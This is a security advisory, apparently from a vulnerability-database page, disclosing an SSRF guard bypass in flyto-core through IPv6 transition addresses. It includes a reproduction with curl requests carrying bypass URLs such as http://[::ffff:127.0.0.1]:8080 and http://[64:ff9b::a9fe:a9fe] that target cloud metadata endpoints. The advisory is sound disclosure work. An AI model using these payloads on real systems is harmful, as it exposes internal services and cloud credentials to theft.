PyPI · flyto-core
flyto-core has SSRF guard bypass via IPv6 transition addresses (IPv4-mapped / 6to4 / NAT64) in validate_url_ssrf
flyto-core's SSRF protection (validate_url_ssrf / is_private_ip in src/core/utils.py) blocks private and metadata destinations by resolving the host and testing the resulting IP for membership in a hardcoded PRIVATE_IP_RANGES list. That list contains only the native RFC 1918 / loopback / link-local / unique-local ranges. It does not account for IPv6 transition address forms that embed an IPv4 (or loopback) target:
::ffff:a.b.c.d::a.b.c.d2002::/1664:ff9b::/96 and local-use 64:ff9b:1::/48A workflow author can submit a URL with a literal transition-form host (for example http://[::ffff:127.0.0.1]:8080/... or http://[64:ff9b::a9fe:a9fe]/latest/meta-data/). is_private_ip() returns False for these (the address is not literally inside any listed range), so validate_url_ssrf lets the request through, and the http.get atomic module (and ~10 sibling modules that share the same guard) performs the outbound aiohttp fetch and returns the response body. On a host that uses NAT64/6to4 these addresses route to the embedded IPv4 endpoint (e.g. the cloud instance-metadata service 169.254.169.254); on any dual-stack host the IPv4-mapped form is routed by the kernel directly to the embedded IPv4, including loopback and RFC 1918 internal services.
This is CWE-918 (Server-Side Request Forgery): the guard that exists specifically to keep workflow-authored URLs away from internal/metadata endpoints is bypassable, and the response body is returned to the caller (a read SSRF).
src/core/utils.py:
PRIVATE_IP_RANGES (around L297) — lists native ranges only; no 64:ff9b::/96, no 2002::/16, no ::ffff:0:0/96, no ::/96.is_private_ip(ip_str) (around L337) — ipaddress.ip_address(ip_str) then membership test against PRIVATE_IP_RANGES. Because the test is plain network membership (not is_global/is_private predicates), it does not unwrap transition forms, so even ::ffff:127.0.0.1 — which ipaddress itself classifies is_private == True — is not caught here.validate_url_ssrf (around L358) — resolves via socket.getaddrinfo(hostname, None, AF_UNSPEC) and rejects only when is_private_ip(ip) is True.validate_url_with_env_config(url) (around L496) — the wrapper actually invoked by the modules.Trust boundary in src/core/modules/atomic/http/get.py:
url = params.get('url') — workflow parameter, attacker-controlled by the workflow author.validate_url_with_env_config(url) — the guard above.async with session.get(url, headers=headers, ssl=ssl_param) as response — aiohttp fetch; the body is returned to the caller.params['url'] (L93) is fully attacker-controlled by the workflow author. It reaches the sink with no intervening sanitization other than the SSRF guard itself: L93 read → L104 validate_url_with_env_config(url) (the bypassed guard) → L116 aiohttp session.get. The route is POST /v1/execute with body {"module_id":"http.get","params":{"url":...}} (bearer-token authenticated; the token is the per-instance workflow-author credential), or equivalently an http.get node in a workflow YAML. The response body is returned in the data.body field, making this a read SSRF.
The same guarded-then-fetch pattern is shared by the http.{request,batch,paginate,session}, browser.goto, image.download, communication.webhook_trigger, notification.send, vector.connector and llm.chat atomic modules.
A user who can author/execute a workflow (the product's normal untrusted-input surface — reachable over the Execution API POST /v1/execute with a module-execute body, or via a workflow YAML node) can drive an authenticated outbound GET to internal-only destinations that the SSRF guard is explicitly meant to block:
169.254.169.254, metadata.google.internal) on NAT64/6to4-routed hosts via http://[64:ff9b::a9fe:a9fe]/..., exposing IAM credentials / instance identity.http://[::ffff:127.0.0.1]:8080/..., http://[::ffff:10.x.x.x]/....The response body is returned, so this is a read SSRF (data exfiltration from internal services), not merely a blind request. Auth required = workflow author; this is precisely the input class the guard was written to constrain, and SECURITY.md documents the resolved-IP check as a security control, so the bypass is against the project's own stated model. CWE-918. Severity: Medium-High.
Environment: real flyto-core Execution API booted from a clean install of the current default-branch HEAD (commit 4636d9f0dcf220a11cfaa1a63927b79042bfdc5c), Python 3.12.13, aiohttp 3.13.5. No FLYTO_ALLOW_PRIVATE_NETWORK / FLYTO_ALLOWED_HOSTS / FLYTO_VSCODE_LOCAL_MODE set (production defaults).
Install and boot the real server:
git clone https://github.com/flytohub/flyto-core && cd flyto-core
python3.12 -m venv venv && . venv/bin/activate
pip install ".[api]"
python -m core.api # starts uvicorn on 127.0.0.1:8333; prints token path
TOKEN=$(cat ~/.flyto/.api-token-8333) # auto-generated bearer token for /v1/execute
Start a sentinel that stands in for an internal-only service (bound to loopback, on an allowed port 8080):
# sentinel.py — simulates an internal metadata/admin service reachable only from the host
from http.server import BaseHTTPRequestHandler, HTTPServer
SENTINEL = "FLYTO_SSRF_SENTINEL_INTERNAL_ec5d9a2f_IMDS_STANDIN"
class H(BaseHTTPRequestHandler):
def do_GET(self):
body = f"{SENTINEL} path={self.path} from={self.client_address[0]}".encode()
self.send_response(200); self.send_header("Content-Type","text/plain")
self.send_header("Content-Length",str(len(body))); self.end_headers(); self.wfile.write(body)
def log_message(self,*a): pass
HTTPServer(("127.0.0.1", 8080), H).serve_forever()
Run python sentinel.py in a second terminal.
$ curl -s -X POST http://127.0.0.1:8333/v1/execute -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"module_id":"http.get","params":{"url":"http://127.0.0.1:8080/latest/meta-data/"}}'
{"ok":false,"data":null,"error":"Module http.get failed after 3 attempts: [NETWORK_ERROR] Hostname blocked: 127.0.0.1","browser_session":null,"duration_ms":6010}
$ curl -s -X POST http://127.0.0.1:8333/v1/execute -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"module_id":"http.get","params":{"url":"http://169.254.169.254/latest/meta-data/"}}'
{"ok":false,"data":null,"error":"Module http.get failed after 3 attempts: [NETWORK_ERROR] Hostname blocked: 169.254.169.254","browser_session":null,"duration_ms":3003}
$ curl -s -X POST http://127.0.0.1:8333/v1/execute -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"module_id":"http.get","params":{"url":"http://[::ffff:127.0.0.1]:8080/latest/meta-data/iam/security-credentials/admin-role"}}'
{"ok":true,"data":{"ok":true,"data":{"status":200,"body":"FLYTO_SSRF_SENTINEL_INTERNAL_ec5d9a2f_IMDS_STANDIN path=/latest/meta-data/iam/security-credentials/admin-role from=127.0.0.1","headers":{"Server":"BaseHTTP/0.6 Python/3.12.13","Date":"Sat, 30 May 2026 08:13:39 GMT","Content-Type":"text/plain","Content-Length":"124"}}},"error":null,"browser_session":null,"duration_ms":1}
The sentinel access log confirms the request really arrived from the app:
[sentinel] "GET /latest/meta-data/iam/security-credentials/admin
Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.